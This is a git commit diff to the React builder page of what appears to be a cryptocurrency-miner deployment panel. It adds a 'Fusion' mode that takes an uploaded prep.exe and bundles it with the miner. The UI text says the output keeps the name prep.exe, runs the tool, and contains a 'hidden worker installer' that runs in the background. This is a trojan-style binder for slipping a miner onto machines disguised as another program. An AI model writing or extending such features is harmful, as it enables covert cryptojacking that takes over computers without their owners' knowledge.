Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
drjones
2026-05-27 00:28:32 -07:00
parent ea519e9a9f
commit 6db9a33a20
9 changed files with 411 additions and 34 deletions

View File

@@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password,
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
};
}
@@ -52,6 +55,7 @@ export default function BuilderPage() {
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
@@ -95,10 +99,14 @@ export default function BuilderPage() {
setError('Custom install base path is required when Install Base is Custom');
return;
}
if (form.fusion_enabled && !fusionPrepFile) {
setError('Fusion requires your prep.exe file');
return;
}
setBuilding(true);
try {
const result = await api.buildAgent(form);
const result = await api.buildAgent(form, fusionPrepFile);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
@@ -477,6 +485,58 @@ export default function BuilderPage() {
</div>
</div>
<div className="form-section">
<h3>Fusion (prep + worker)</h3>
<p className="form-description">
Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.fusion_enabled}
onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
<span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
</label>
<FieldHint field="fusion_enabled" />
</div>
{form.fusion_enabled && (
<>
<div className="form-group">
<label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
<input
type="file"
className="input"
accept=".exe,application/octet-stream"
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
/>
{fusionPrepFile && (
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
)}
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
<select className="select" value={form.fusion_run_order}
onChange={(e) => updateField('fusion_run_order', e.target.value)}>
<option value="parallel">Parallel (both at once)</option>
<option value="prep_first">Prep first, then worker</option>
<option value="worker_first">Worker first, then prep</option>
</select>
<FieldHint field="fusion_run_order" />
</div>
<div className="form-group">
<label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
<input type="text" className="input mono" value={form.fusion_output_name}
onChange={(e) => updateField('fusion_output_name', e.target.value)} />
<FieldHint field="fusion_output_name" />
</div>
</div>
<p className="form-hint">
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
</p>
</>
)}
</div>
{error && (
<div className="form-error">
<span></span> {error}
@@ -494,6 +554,9 @@ export default function BuilderPage() {
<h2>Installer Ready</h2>
<div className="build-success">
<p><strong>Run this once on each Windows machine:</strong></p>
{lastBuild.fusion_enabled && (
<p className="form-hint">Fusion build worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
)}
<p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
<p><strong>Absolute path:</strong></p>